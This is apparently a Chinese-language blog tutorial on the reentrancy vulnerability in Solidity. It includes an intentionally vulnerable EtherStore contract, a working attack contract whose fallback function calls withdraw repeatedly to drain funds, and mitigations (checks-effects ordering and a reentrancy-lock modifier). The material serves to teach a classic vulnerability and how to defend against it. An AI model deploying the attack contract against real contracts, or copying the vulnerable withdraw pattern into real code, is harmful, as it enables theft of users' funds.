重入攻击 Reentrancy

Chiu Lv4

Excavation initiation!

今日讲讲入门漏洞–重入攻击Reentrancy

这是智能合约世界中最经典也最致命的漏洞之一。其曾让 The DAO 损失超过 6000 万美元,甚至导致以太坊社区 硬分叉 自救,是血的教训。

漏洞原理

重入攻击的本质是:在合约向外部账户转账时,外部账户可以“反过来”重新调用原合约的函数,绕过状态更新,从而多次执行本应只能执行一次的操作。

在 Solidity 中,当合约通过 .call 向某个地址发送 ETH,该地址对应的合约的 fallback()receive() 函数会立即执行。如果此时原合约的状态还没更新完,攻击者就可以利用这个窗口“反复”进入函数,造成严重破坏。

补充关于 fallback()receive() 函数

在 Solidity 中,当一个合约收到 ETH 时,会触发它的某个特殊函数,这两个函数分别是:

receive() 函数

自 Solidity 0.6.0 起,receive() 被引入,用于区分普通的转账和未知函数调用。

1
2
3
receive() external payable {
// 只处理纯转账
}
  • 专门处理纯粹的 ETH 转账(比如 sendtransfer);
  • 没有 calldata(即调用的数据为空)时触发;
  • 只能有一个,没有 function 关键字。

fallback() 函数

1
2
3
fallback() external payable {
// 没有匹配到函数名时进入这里
}
  • 当合约接收到 ETH 且找不到对应的函数名时触发;
  • 通常用于处理未知调用、代理合约、或攻击场景;
  • 可以接收 ETH,也可以执行逻辑。

注意:在攻击中我们常用的是 fallback(),因为它能接住 .call{value: ...}("") 这类非明确函数调用的转账,然后再反向重入发起攻击。

示例合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract EtherStore{
    mapping(address => uint) public balance;

//存款
    function deposit() public payable {
        balance[msg.sender] += msg.value;
    }
   
//取款
    function withdraw(uint _amount) public  {
        require(balance[msg.sender] >= _amount);

        (bool sent, ) = msg.sender.call{value:_amount}("");
        require(sent, "Failed to send Ether");
       
        balance[msg.sender] -= _amount;
    }


//查询余额
    function getBalance() public view returns (uint){
        return address(this).balance;
    }
}

这里的流程是:

  1. 检查 msg.sender 的余额是否足够;
  2. call函数给 msg.sender 转账;
  3. 转账成功后,再更新 msg.sender 的余额。

关键点:转账发生在状态更新之前

如果 msg.sender 是一个合约,并且它的 fallback() 函数中再次调用了 withdraw(),就可以在余额还未减少前重复调用自己,从而反复提币,直到合约被掏空

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract exploit {
EtherStore public etherStore;

constructor(address _etherStoreAddress) public {
etherStore = EtherStore(_etherStoreAddress);
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}(); // 存 1 ETH
etherStore.withdraw(1 ether); // 提现触发 fallback
}

fallback() external payable {
if(address(etherStore).balance >= 1 ether){
etherStore.withdraw(1 ether); // 再次提取
}
}

function getBalance() public view returns (uint){
return address(this).balance;
}
}

攻击逻辑:

  1. attack() 转入 1 ETH,调用 deposit() 储存进去;
  2. 紧接着调用 withdraw() 提取 1 ETH;
  3. 合约转账时触发 fallback() 函数;
  4. fallback() 中再次调用 withdraw(),进入循环;
  5. 只要 EtherStore 中还有钱,攻击就不停;
  6. 最终攻击者合约中余额越来越多,而 EtherStore 被清空。

如何防御?

方法很简单,第一个思路是先更新状态,再转账

第二个思路是使用:

如果你写过并发编程或者了解过操作系统,这里就很容易理解

为了防止防止多个线程同时访问临界资源:
Linux 资源锁

  • 实现是pthread_mutex_lock
  • 进入条件是if (mutex_available)
  • 锁定是mutex_lock()
  • 释放是mutex_unlock()

为了防止函数再执行时被重入:
Solidity 重入锁

  • 实现是bool locked + require + 修饰器
  • 进入条件是require(!locked)
  • 锁定是locked = true
  • 释放是locked = false

针对上述合约的重入锁的具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool internal locked;
event Debug(string message);

modifier noReentrancy(){
require(!locked, "NO Reentrancy!");
emit Debug("noReedtrancy passed");
locked = true;
_;
locked = false;
}

//加上修饰器
function withdraw(uint _amount) public noReentrancy {
require(balance[msg.sender] >= _amount);

balance[msg.sender] -= _amount; //状态更新放在转账之前,不用担心状态更新了但是转账失败的问题,require不满足会自动回滚状态

(bool sent, ) = msg.sender.call{value:_amount}("");
require(sent, "Failed to send Ether");

}

这样就能确保在函数执行期间不能再次进入。

重入攻击虽是老生常谈,但其变体和演化依然层出不穷,比如跨合约重入、DEFI 闪电贷结合重入等,后续也会继续讲这类高级用法。

  • Title: 重入攻击 Reentrancy
  • Author: Chiu
  • Created at : 2025-04-20 21:47:24
  • Updated at : 2025-07-15 13:01:54
  • Link: https://github.com/Idealist17/github.io/2025/04/20/Reentrancy/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments